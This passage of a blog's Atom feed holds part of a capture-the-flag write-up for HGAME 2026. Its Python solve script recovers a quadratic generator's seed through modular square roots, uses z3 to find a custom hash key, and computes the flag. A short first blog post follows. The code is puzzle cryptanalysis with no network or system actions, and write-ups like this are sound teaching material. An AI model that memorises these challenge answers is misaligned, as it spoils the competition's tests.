operator">-</span><span class="token operator">></span> Tuple<span class="token punctuation">[</span><span class="token builtin">list</span><span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">]</span><span class="token punctuation">:</span>    <span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">'data.txt'</span><span class="token punctuation">,</span> <span class="token string">'r'</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>        xs <span class="token operator">=</span> ast<span class="token punctuation">.</span>literal_eval<span class="token punctuation">(</span>f<span class="token punctuation">.</span>readline<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        n <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>f<span class="token punctuation">.</span>readline<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> xs<span class="token punctuation">,</span> n<span class="token keyword">def</span> <span class="token function">inv</span><span class="token punctuation">(</span>a<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">int</span><span class="token punctuation">:</span>    <span class="token keyword">return</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">legendre</span><span class="token punctuation">(</span>a<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">,</span> p<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">int</span><span class="token punctuation">:</span>    <span class="token keyword">return</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token punctuation">(</span>p <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">//</span> <span class="token number">2</span><span class="token punctuation">,</span> p<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">tonelli_shanks</span><span class="token punctuation">(</span>a<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">,</span> p<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> Optional<span class="token punctuation">[</span><span class="token builtin">int</span><span class="token punctuation">]</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> a <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token number">0</span>    <span class="token keyword">if</span> legendre<span class="token punctuation">(</span>a<span class="token punctuation">,</span> p<span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token number">1</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token boolean">None</span>    <span class="token keyword">if</span> p <span class="token operator">%</span> <span class="token number">4</span> <span class="token operator">==</span> <span class="token number">3</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token punctuation">(</span>p <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">//</span> <span class="token number">4</span><span class="token punctuation">,</span> p<span class="token punctuation">)</span>    q <span class="token operator">=</span> p <span class="token operator">-</span> <span class="token number">1</span>    s <span class="token operator">=</span> <span class="token number">0</span>    <span class="token keyword">while</span> q <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">:</span>        q <span class="token operator">//=</span> <span class="token number">2</span>        s <span class="token operator">+=</span> <span class="token number">1</span>    z <span class="token operator">=</span> <span class="token number">2</span>    <span class="token keyword">while</span> legendre<span class="token punctuation">(</span>z<span class="token punctuation">,</span> p<span class="token punctuation">)</span> <span class="token operator">!=</span> p <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">:</span>        z <span class="token operator">+=</span> <span class="token number">1</span>    c <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>z<span class="token punctuation">,</span> q<span class="token punctuation">,</span> p<span class="token punctuation">)</span>    x <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token punctuation">(</span>q <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">//</span> <span class="token number">2</span><span class="token punctuation">,</span> p<span class="token punctuation">)</span>    t <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> q<span class="token punctuation">,</span> p<span class="token punctuation">)</span>    m <span class="token operator">=</span> s    <span class="token keyword">while</span> t <span class="token operator">!=</span> <span class="token number">1</span><span class="token punctuation">:</span>        i <span class="token operator">=</span> <span class="token number">1</span>        t2i <span class="token operator">=</span> <span class="token punctuation">(</span>t <span class="token operator">*</span> t<span class="token punctuation">)</span> <span class="token operator">%</span> p        <span class="token keyword">while</span> t2i <span class="token operator">!=</span> <span class="token number">1</span><span class="token punctuation">:</span>            t2i <span class="token operator">=</span> <span class="token punctuation">(</span>t2i <span class="token operator">*</span> t2i<span class="token punctuation">)</span> <span class="token operator">%</span> p            i <span class="token operator">+=</span> <span class="token number">1</span>            <span class="token keyword">if</span> i <span class="token operator">==</span> m<span class="token punctuation">:</span>                <span class="token keyword">return</span> <span class="token boolean">None</span>        b <span class="token operator">=</span> <span class="token builtin">pow</span><span class="token punctuation">(</span>c<span class="token punctuation">,</span> <span class="token number">1</span> <span class="token operator">&lt;&lt;</span> <span class="token punctuation">(</span>m <span class="token operator">-</span> i <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> p<span class="token punctuation">)</span>        x <span class="token operator">=</span> <span class="token punctuation">(</span>x <span class="token operator">*</span> b<span class="token punctuation">)</span> <span class="token operator">%</span> p        t <span class="token operator">=</span> <span class="token punctuation">(</span>t <span class="token operator">*</span> b <span class="token operator">*</span> b<span class="token punctuation">)</span> <span class="token operator">%</span> p        c <span class="token operator">=</span> <span class="token punctuation">(</span>b <span class="token operator">*</span> b<span class="token punctuation">)</span> <span class="token operator">%</span> p        m <span class="token operator">=</span> i    <span class="token keyword">return</span> x<span class="token keyword">def</span> <span class="token function">solve_abc</span><span class="token punctuation">(</span>xs<span class="token punctuation">:</span> <span class="token builtin">list</span><span class="token punctuation">,</span> n<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> Tuple<span class="token punctuation">[</span><span class="token builtin">int</span><span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">]</span><span class="token punctuation">:</span>    x1<span class="token punctuation">,</span> x2<span class="token punctuation">,</span> x3<span class="token punctuation">,</span> x4 <span class="token operator">=</span> xs    A <span class="token operator">=</span> <span class="token punctuation">(</span>x2 <span class="token operator">*</span> x2 <span class="token operator">-</span> x1 <span class="token operator">*</span> x1<span class="token punctuation">)</span> <span class="token operator">%</span> n    B <span class="token operator">=</span> <span class="token punctuation">(</span>x2 <span class="token operator">-</span> x1<span class="token punctuation">)</span> <span class="token operator">%</span> n    C <span class="token operator">=</span> <span class="token punctuation">(</span>x3 <span class="token operator">-</span> x2<span class="token punctuation">)</span> <span class="token operator">%</span> n    D <span class="token operator">=</span> <span class="token punctuation">(</span>x3 <span class="token operator">*</span> x3 <span class="token operator">-</span> x2 <span class="token operator">*</span> x2<span class="token punctuation">)</span> <span class="token operator">%</span> n    E <span class="token operator">=</span> <span class="token punctuation">(</span>x3 <span class="token operator">-</span> x2<span class="token punctuation">)</span> <span class="token operator">%</span> n    F <span class="token operator">=</span> <span class="token punctuation">(</span>x4 <span class="token operator">-</span> x3<span class="token punctuation">)</span> <span class="token operator">%</span> n    det <span class="token operator">=</span> <span class="token punctuation">(</span>A <span class="token operator">*</span> E <span class="token operator">-</span> B <span class="token operator">*</span> D<span class="token punctuation">)</span> <span class="token operator">%</span> n    det_inv <span class="token operator">=</span> inv<span class="token punctuation">(</span>det<span class="token punctuation">,</span> n<span class="token punctuation">)</span>    a <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>E <span class="token operator">*</span> C <span class="token operator">-</span> B <span class="token operator">*</span> F<span class="token punctuation">)</span> <span class="token operator">%</span> n<span class="token punctuation">)</span> <span class="token operator">*</span> det_inv <span class="token operator">%</span> n    b <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>A <span class="token operator">*</span> F <span class="token operator">-</span> D <span class="token operator">*</span> C<span class="token punctuation">)</span> <span class="token operator">%</span> n<span class="token punctuation">)</span> <span class="token operator">*</span> det_inv <span class="token operator">%</span> n    c <span class="token operator">=</span> <span class="token punctuation">(</span>x2 <span class="token operator">-</span> <span class="token punctuation">(</span>a <span class="token operator">*</span> x1 <span class="token operator">*</span> x1 <span class="token operator">+</span> b <span class="token operator">*</span> x1<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">%</span> n    <span class="token keyword">return</span> a<span class="token punctuation">,</span> b<span class="token punctuation">,</span> c<span class="token keyword">def</span> <span class="token function">recover_seed</span><span class="token punctuation">(</span>x1<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">,</span> a<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">,</span> b<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">,</span> c<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">,</span> n<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> Tuple<span class="token punctuation">[</span><span class="token builtin">int</span><span class="token punctuation">,</span> <span class="token builtin">int</span><span class="token punctuation">]</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> a <span class="token operator">%</span> n <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">:</span>        x0 <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>x1 <span class="token operator">-</span> c<span class="token punctuation">)</span> <span class="token operator">*</span> inv<span class="token punctuation">(</span>b<span class="token punctuation">,</span> n<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">%</span> n        <span class="token keyword">return</span> x0<span class="token punctuation">,</span> x0    two_a_inv <span class="token operator">=</span> inv<span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token number">2</span> <span class="token operator">*</span> a<span class="token punctuation">)</span> <span class="token operator">%</span> n<span class="token punctuation">,</span> n<span class="token punctuation">)</span>    delta <span class="token operator">=</span> <span class="token punctuation">(</span>b <span class="token operator">*</span> b <span class="token operator">-</span> <span class="token number">4</span> <span class="token operator">*</span> a <span class="token operator">*</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>c <span class="token operator">-</span> x1<span class="token punctuation">)</span> <span class="token operator">%</span> n<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">%</span> n    r <span class="token operator">=</span> tonelli_shanks<span class="token punctuation">(</span>delta<span class="token punctuation">,</span> n<span class="token punctuation">)</span>    <span class="token keyword">if</span> r <span class="token keyword">is</span> <span class="token boolean">None</span><span class="token punctuation">:</span>        <span class="token keyword">raise</span> ValueError<span class="token punctuation">(</span><span class="token string">"no sqrt for delta"</span><span class="token punctuation">)</span>    x0a <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token operator">-</span>b <span class="token operator">+</span> r<span class="token punctuation">)</span> <span class="token operator">%</span> n<span class="token punctuation">)</span> <span class="token operator">*</span> two_a_inv <span class="token operator">%</span> n    x0b <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token operator">-</span>b <span class="token operator">-</span> r<span class="token punctuation">)</span> <span class="token operator">%</span> n<span class="token punctuation">)</span> <span class="token operator">*</span> two_a_inv <span class="token operator">%</span> n    <span class="token keyword">return</span> x0a<span class="token punctuation">,</span> x0b<span class="token keyword">def</span> <span class="token function">shash_py</span><span class="token punctuation">(</span>value<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">,</span> key<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">int</span><span class="token punctuation">:</span>    mask <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">&lt;&lt;</span> <span class="token number">256</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span>    x <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>value<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token number">7</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> mask    <span class="token keyword">for</span> ch <span class="token keyword">in</span> value<span class="token punctuation">:</span>        x <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>key <span class="token operator">*</span> x<span class="token punctuation">)</span> <span class="token operator">&amp;</span> mask<span class="token punctuation">)</span> <span class="token operator">^</span> <span class="token builtin">ord</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span>    x <span class="token operator">^</span><span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span> <span class="token operator">&amp;</span> mask    <span class="token keyword">return</span> x<span class="token keyword">def</span> <span class="token function">solve_key_with_z3</span><span class="token punctuation">(</span>h<span class="token punctuation">:</span> <span class="token builtin">int</span><span class="token punctuation">,</span> value<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token builtin">int</span><span class="token punctuation">:</span>    <span class="token keyword">from</span> z3 <span class="token keyword">import</span> BitVec<span class="token punctuation">,</span> Solver<span class="token punctuation">,</span> BitVecVal<span class="token punctuation">,</span> ULE    key <span class="token operator">=</span> BitVec<span class="token punctuation">(</span><span class="token string">'key'</span><span class="token punctuation">,</span> <span class="token number">256</span><span class="token punctuation">)</span>    s <span class="token operator">=</span> Solver<span class="token punctuation">(</span><span class="token punctuation">)</span>    s<span class="token punctuation">.</span>add<span class="token punctuation">(</span>ULE<span class="token punctuation">(</span>key<span class="token punctuation">,</span> BitVecVal<span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">&lt;&lt;</span> <span class="token number">70</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">256</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    x <span class="token operator">=</span> BitVecVal<span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>value<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token number">7</span><span class="token punctuation">,</span> <span class="token number">256</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> ch <span class="token keyword">in</span> value<span class="token punctuation">:</span>        x <span class="token operator">=</span> <span class="token punctuation">(</span>key <span class="token operator">*</span> x<span class="token punctuation">)</span> <span class="token operator">^</span> BitVecVal<span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">256</span><span class="token punctuation">)</span>    x <span class="token operator">=</span> x <span class="token operator">^</span> BitVecVal<span class="token punctuation">(</span><span class="token builtin">len</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">256</span><span class="token punctuation">)</span>    s<span class="token punctuation">.</span>add<span class="token punctuation">(</span>x <span class="token operator">==</span> BitVecVal<span class="token punctuation">(</span>h<span class="token punctuation">,</span> <span class="token number">256</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> s<span class="token punctuation">.</span>check<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>r <span class="token operator">!=</span> <span class="token number">1</span><span class="token punctuation">:</span>        <span class="token keyword">raise</span> ValueError<span class="token punctuation">(</span><span class="token string">"unsat"</span><span class="token punctuation">)</span>    m <span class="token operator">=</span> s<span class="token punctuation">.</span>model<span class="token punctuation">(</span><span class="token punctuation">)</span>    kval <span class="token operator">=</span> m<span class="token punctuation">.</span><span class="token builtin">eval</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">.</span>as_long<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> kval<span class="token keyword">def</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    xs<span class="token punctuation">,</span> n <span class="token operator">=</span> read_data<span class="token punctuation">(</span><span class="token punctuation">)</span>    a<span class="token punctuation">,</span> b<span class="token punctuation">,</span> c <span class="token operator">=</span> solve_abc<span class="token punctuation">(</span>xs<span class="token punctuation">,</span> n<span class="token punctuation">)</span>    x0a<span class="token punctuation">,</span> x0b <span class="token operator">=</span> recover_seed<span class="token punctuation">(</span>xs<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> a<span class="token punctuation">,</span> b<span class="token punctuation">,</span> c<span class="token punctuation">,</span> n<span class="token punctuation">)</span>    value <span class="token operator">=</span> <span class="token string">"Welcome to HGAME 2026!"</span>    cand <span class="token operator">=</span> <span class="token punctuation">[</span>x0a<span class="token punctuation">,</span> x0b<span class="token punctuation">]</span>    key <span class="token operator">=</span> <span class="token boolean">None</span>    seed <span class="token operator">=</span> <span class="token boolean">None</span>    <span class="token keyword">for</span> h <span class="token keyword">in</span> cand<span class="token punctuation">:</span>        <span class="token keyword">try</span><span class="token punctuation">:</span>            k <span class="token operator">=</span> solve_key_with_z3<span class="token punctuation">(</span>h<span class="token punctuation">,</span> value<span class="token punctuation">)</span>            key <span class="token operator">=</span> k            seed <span class="token operator">=</span> h            <span class="token keyword">break</span>        <span class="token keyword">except</span> Exception<span class="token punctuation">:</span>            <span class="token keyword">pass</span>    <span class="token keyword">if</span> key <span class="token keyword">is</span> <span class="token boolean">None</span><span class="token punctuation">:</span>        <span class="token keyword">raise</span> RuntimeError<span class="token punctuation">(</span><span class="token string">"key not found"</span><span class="token punctuation">)</span>    magic_word <span class="token operator">=</span> <span class="token string">"I get the key now!"</span>    flag <span class="token operator">=</span> <span class="token string">"VIDAR&#123;"</span> <span class="token operator">+</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>shash_py<span class="token punctuation">(</span>magic_word<span class="token punctuation">,</span> key<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">:</span><span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token string">"&#125;"</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>seed<span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>flag<span class="token punctuation">)</span><span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">"__main__"</span><span class="token punctuation">:</span>    main<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>最终得到flag</p><p><img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202026-02-08%20213711.png"></p>]]>
    </content>
    <id>https://dodor.top/2026/02/09/DODOR-000a01-WEEK1-WP/</id>
    <link href="https://dodor.top/2026/02/09/DODOR-000a01-WEEK1-WP/"/>
    <published>2026-02-09T13:38:58.000Z</published>
    <summary>
      <![CDATA[<div class="excerpt-box">misc: [REDACTED] 题目为（涂黑，修改）过后的一个pdf，我们可以在第一个涂黑位置找到第一段敏感字符串，直接通过文字编辑功能将颜色改为白色再复制出来得到第一个字符串 1:PAR4D0X 。( 然后在第二个涂黑的位置在文字编辑的模式下可以看到以下内容 因为字体原因无法直接复制，选着直接图…</div>]]>
    </summary>
    <title>DODOR#000a01-WEEK1-WP</title>
    <updated>2026-08-30T07:27:29.571Z</updated>
  </entry>
  <entry>
    <author>
      <name>DODOR</name>
    </author>
    <category term="杂谈" scheme="https://dodor.top/categories/%E6%9D%82%E8%B0%88/"/>
    <category term="杂谈" scheme="https://dodor.top/tags/%E6%9D%82%E8%B0%88/"/>
    <content>
      <![CDATA[<p>hello,this is my first blog.In my blog ,I’ll share sth interesting and public my wp.Thanks for reading.</p>]]>
    </content>
    <id>https://dodor.top/2025/12/20/DODOR-blog/</id>
    <link href="https://dodor.top/2025/12/20/DODOR-blog/"/>
    <published>2025-12-20T03:54:25.000Z</published>
    <summary>
      <![CDATA[<div class="excerpt-box">hello,this is my first blog.In my blog ,I’ll share sth interesting and public my wp.Thanks for reading.…</div>]]>
    </summary>
    <title>DODOR-blog</title>
    <updated>2026-04-22T08:14:02.960Z</updated>
  </entry>
</feed>
